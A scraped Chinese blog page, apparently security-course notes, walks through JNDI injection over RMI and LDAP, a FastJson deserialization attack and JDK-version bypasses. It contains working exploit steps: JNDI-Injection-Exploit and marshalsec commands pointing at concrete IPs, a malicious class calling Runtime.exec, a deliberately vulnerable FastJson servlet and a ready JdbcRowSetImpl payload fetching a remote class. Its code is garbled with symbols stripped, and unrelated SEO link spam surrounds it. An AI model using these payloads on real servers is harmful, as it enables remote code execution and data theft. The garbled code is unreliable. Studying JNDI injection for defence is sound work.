当前位置: 首页 > news >正文

wordpress电子商务网站插件智慧团建pc端

wordpress电子商务网站插件,智慧团建pc端,小程序代运营,郑州燚空间网络科技有限公司037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类 #知识点#xff1a; 1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例#xff1a; ➢JNDI注入-RMILDAP服务 ➢JNDI注…037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类 #知识点 1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例 ➢JNDI注入-RMILDAP服务 ➢JNDI注入-FastJson漏洞结合 ➢JNDI注入-JDK高版本注入绕过 思考明白 什么是jndi注入 为什么有jndi注入 JDNI注入安全问题 JDNI注入利用条件 参考https://blog.csdn.net/dupei/article/details/120534024 #JNDI注入-RMILDAP服务 JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口是一组应用程序接口为开发人员查找和访问各种资源提供了统一的通用接口可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有DNS、LDAP、CORBA、RMI等。 RMI远程方法调用注册表 LDAP轻量级目录访问协议 调用检索 Java为了将Object对象存储在Naming或Directory服务下提供了Naming Reference功能对象可以通过绑定Reference存储在Naming或Directory服务下比如RMI、LDAP等。javax.naming.InitialContext.lookup() 在RMI服务中调用了InitialContext.lookup()的类有 org.springframework.transaction.jta.JtaTransactionManager.readObject() **com.sun.rowset.JdbcRowSetImpl.execute()** javax.management.remote.rmi.RMIConnector.connect() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)在LDAP服务中调用了InitialContext.lookup()的类有 InitialDirContext.lookup() Spring LdapTemplate.lookup() LdapTemplate.lookupContext()JNDI远程调用-JNDI-Injection 创建一个rmi ldap等服务调用 实例化对象 new InitialContext().lookup(rmi://47.243.50.47:1099/ptbddl);调用rmi ldap等服务对象类远程服务 ldap://47.94.236.117:1389/nx5qkh 远程地址的一个class文件被执行 new InitialContext().lookup(ldap://47.243.50.47:1389/ptbddl);基于工具自主定义节省下述2,4步骤 1、使用远程调用(默认端口1389) new InitialContext().lookup(“ldap://47.243.50.47:1389/ptbddl”); new InitialContext().lookup(“rmi://47.243.50.47:1099/ptbddl”); package com.example.jndi;import javax.naming.InitialContext; import javax.naming.NamingException;public class JndiDemo {public static void main(String[] args) throws NamingException {new InitialContext().lookup(rmi://47.243.50.47:1099/ptbddl);new InitialContext().lookup(ldap://47.243.50.47:1389/ptbddl);} }2、使用利用工具生成调用地址 **java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A xx.xx.xx.xx** 遇到问题可以进行工具发送但无法访问到指向类进行报错JDK版本太高 原因JDK版本太高对远程访问进行拦截 解决方式更换低版本的JDK即可成功 遇到问题linux中运行JNDI-Injection报错Address already in use 原因之前运行的该程序占用了端口导致无法运行 解决方式 netstat -tulpn查询端口 kill 2320 停止端口 成功调用 遇到问题**JNDI-Injection-Exploit**不能进行正常的发送和接收 原因防火墙的原因 解决方式关闭虚拟机和本机的防火墙即可访问成功 JNDI远程调用-marshalsec 1、创建调用对象编译调用对象 javac Test.java 特别注意要保证java和javac的版本一致且都是1.8的低版本1.8.0_112 2、将生成的Class存放访问路径并检查是否可访问到 建一个简单的WEB页面又不想配置apache或者Nginx并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务并且使用起来也非常简单。 python -m SimpleHTTPServer 服务启动默认端口为 8000 服务起来后 如果是本地或者内网环境打开浏览器 访问 localhost:8000 或者 127.0.0.1:8000 如果是云服务器则替换为对应的云服务器ip地址即可端口号不变 http://47.243.50.47:8000/ 就可以访问初始web页面了 3、使用利用工具生成调用协议rmi,ldap java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi 4、使用远程调用(默认端口1389) new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”); new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”); JNDI-Injection marshalsec 实现原理 例RMI调用 bind将名称绑定到对象中 lookup通过名字检索执行的对象 Reference类表示对存在于命名/目录系统以外的对象的引用。 Reference参数 className远程加载时所使用的类名 classFactory加载的class中需要实例化类的名称 classFactoryLocation远程加载类的地址提供classes数据的地址可以是file/ftp/http等协议 Registry首先启动并监听一个端口一般是1099 Registry registry LocateRegistry.createRegistry(1099);在这里createRegistry(1099) 方法启动 RMI 注册表并监听在端口 1099 上。 Server向Registry注册远程对象 Reference reference new Reference(Calc, Calc, http://localhost/); ReferenceWrapper wrapper new ReferenceWrapper(reference); registry.bind(calc, wrapper);服务器创建一个 Reference 对象包含用于远程加载的类信息然后将该 Reference 对象包装成 ReferenceWrapper最后通过 registry.bind 注册到 RMI 注册表中使用名字 “calc”。 Client从Registry获取远程对象的代理 Object remoteObject context.lookup(rmi://47.94.236.117:1099/calc);客户端获取 RMI 注册表的上下文并通过 lookup 方法查找名为 “calc” 的远程对象返回其代理。 Client通过这个代理调用远程对象的方法 // 可以将返回的 remoteObject 转换为具体的远程接口类型然后调用远程方法 // 例如CalcInterface calc (CalcInterface) remoteObject; // 远程方法调用示例 // 例如calc.performCalculation();客户端通过获得的代理对象调用远程对象的方法。 Server端的代理接收到Client端调用的方法参数Server端执行相对应的方法 在服务器端RMI 框架接收到客户端调用的方法、参数等信息并通过相应的远程对象执行对应的方法。 Server端的代理将执行结果返回给Client端代理 执行结果将通过 RMI 框架返回给客户端的代理对象使客户端能够获取到远程方法的执行结果。 import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Reference; import java.rmi.server.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception {// 创建 RMI 注册表并监听在 1099 端口上Registry registry LocateRegistry.createRegistry(1099);**// 创建一个包含类信息的 Reference 对象// className: 远程加载时所使用的类名// classFactory: 加载的类中需要实例化的类的名称// classFactoryLocation: 远程加载类的地址提供 classes 数据的地址可以是 file/ftp/http 等协议Reference reference new Reference(Calc, Calc, http://localhost/);**// 使用 Reference 对象创建 ReferenceWrapper 对象ReferenceWrapper wrapper new ReferenceWrapper(reference);// 将包装后的 Reference 对象绑定到 RMI 注册表上使用名字 calcregistry.bind(calc, wrapper);} }import java.lang.Runtime;public class Calc {public Calc() throws Exception{Runtime.getRuntime().exec(mstsc);} }JNDI-Injection marshalsec 区别 LDAP - marshalsec工具 JDK 17 11版本 8u362 8U112 都可以 RMI marshalsec工具 JDK 17版本 无法调用 11版本无法调用 8u362 无法执行 8U112 可以 LDAP - jndi-inject工具 JDK 17版本 无法调用 11版本无法调用 8u362 无法执行 8U112 可以 RMI jndi-inject工具 JDK 17版本 无法调用 11版本无法调用 8u362 无法执行 8U112 可以 1.jndi - rmi ldap服务 2**.rmi ldap** 都可以进行远程调用对象 可以远程执行java代码class文件 3.攻击利用中就用到了jndi-inject项目和marshalsec 4.发现 jdk高版本会影响rmi和ldap的利用marshalsec针对ldap有高版本绕过 5. 利用要知道其他类也能调用jndi注入rmi,ldap #JNDI注入-FastJson漏洞结合 背景JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞) 思路利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入 漏洞利用FastJson autotype处理Json对象的时候未对type字段进行完整的安全性验证攻击者可以传入危险类并调用危险类连接远程RMI主机通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞获取服务器敏感信息甚至可以利用此漏洞进一步的对服务器数据进行操作。 1、报错判断FastJson黑盒数据写错发现返回包是对应的fastjson包 2、创建对应的FastJson项目 // 导入必要的包 package com.example.fsjndidome;import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;// 定义一个带有 /json 映射的 Servlet WebServlet(/json) public class Fsweb extends HelloServlet {// 重写 doPost 方法以处理 HTTP POST 请求Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从名为 str 的请求参数中检索 JSON 数据String jsondata req.getParameter(str);// 将接收到的 JSON 数据打印到控制台System.out.println(jsondata);// 使用 fastjson 解析 JSON 数据为 JSONObjectJSONObject jsonObject JSON.parseObject(jsondata);// 打印解析后的 JSONObject 到控制台System.out.println(jsonObject);} }body h1% Hello World! % /h1 br/ a hrefhello-servletHello Servlet/a **form action/FSJNDIDome_war_exploded/json methodpostplease input json data:input typetext namestrbrinput typesubmit value提交** /form /body /html3、生成远程调用方法 **java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.200.130** 4、提交JSON数据Payload {“type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true} 总结 #JNDI注入-JDK高版本注入绕过 JDK 6u45、7u21之后 java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时 将禁用自动加载远程类文件仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。 使用这个属性来防止客户端VM从其他Codebase地址上动态加载类增加了RMI ClassLoader的安全性。 JDK 6u141、7u131、8u121之后 增加了com.sun.jndi.rmi.object.trustURLCodebase选项默认为false禁止RMI和CORBA协议使用远程codebase的选项 因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 JDK 6u211、7u201、8u191之后 增加了com.sun.jndi.ldap.object.trustURLCodebase选项默认为false 禁止LDAP协议使用远程codebase的选项把LDAP协议的攻击途径也给禁了。 高版本绕过 https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
http://www.zqtcl.cn/news/712748/

相关文章:

  • 黑色网站模版网站架构图
  • 药业集团网站策划方案范文html手机网站怎么做
  • 网站虚拟主机1g南阳seo网站推广费用
  • wordpress国内视频网站吗东昌府区住房和城乡建设局网站
  • 网站免费网站的方法做网站优化词怎么选择
  • 丹东市住房和城乡建设网站seo营销型网站推广
  • 企业网站维护怎么做网站空间用万网的 域名不在万网
  • 嘉定企业网站开发建设网站建设常识网站建设技术知识大全
  • wordpress网站导航网站上如何做问卷调查
  • 南通网站搜索引擎优化海外学校网站建设
  • 个人站长适合做什么网站跨境电商数据分析网站
  • seo网站怎么优化影视制作公司简介
  • 如何制作一个自己的网页网站合肥网络优化公司有几家
  • 做网站的公司一年能赚多少钱织梦修改网站背景颜色
  • 门户网站建设的报价淘宝联盟怎么建网站
  • 常用的网站开发公司注册名称怎么起
  • j动态加载网站开发南京建设网站公司哪家好
  • 云南网站建设工具wordpress防御ip攻击
  • 珠海市网站建设开发公司站长工具whois查询
  • 网站备案icp过期网站建设好了怎么做推广
  • 网站自动识别手机代码网络服务器是指
  • 做自媒体那几个网站好点乐清做网站建设
  • 如何制作自己的网站在线观看2021网页源码
  • 电子商务网站建设百度文库工业设计公司招聘
  • 网站seo测评餐厅设计公司餐厅设计
  • 深圳网站seo推广wordpress swf 上传
  • 织梦做双语网站怎么做制作网站的教程
  • 公司网站开发的国内外研究现状个人网页设计大全
  • 做一个网站人员网站建设及推广优化
  • 胶州市城乡建设局网站能进封禁网站的浏览器